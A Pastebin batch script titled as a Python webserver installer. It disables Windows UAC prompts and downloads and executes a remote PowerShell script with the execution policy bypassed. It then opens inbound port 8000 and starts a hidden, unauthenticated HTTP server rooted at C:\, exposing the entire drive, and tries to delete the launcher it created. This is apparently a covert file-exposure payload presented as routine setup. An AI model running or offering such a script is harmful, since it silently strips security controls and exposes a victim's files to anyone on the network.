metalx1000

Install and Start Python Webserver

Dec 9th, 2017
825
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.07 KB | None | 0 0
  1. REM disable UAC Prompt
  2. reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
  3. reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  4.  
  5. REM install choco
  6. @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
  7.  
  8. choco feature enable -n allowGlobalConfirmation
  9.  
  10. REM install python
  11. choco install python
  12.  
  13. REM open port 8000
  14. netsh advfirewall firewall add rule name="Open Port 8000" dir=in action=allow protocol=TCP localport=8000
  15.  
  16. cd c:\
  17.  
  18. REM Create vbs file to start python hidden
  19. echo Dim WShell > go.vbs
  20. echo Set WShell = CreateObject("WScript.Shell") >> go.vbs
  21. echo WShell.Run "c:\Python36\python -m http.server", 0 >> go.vbs
  22. echo Set WShell = Nothing >> go.vbs
  23.  
  24. REM start webserver
  25.  
  26. wscript go.vbs
  27. delete go.vbs
Add Comment
Please, Sign In to add comment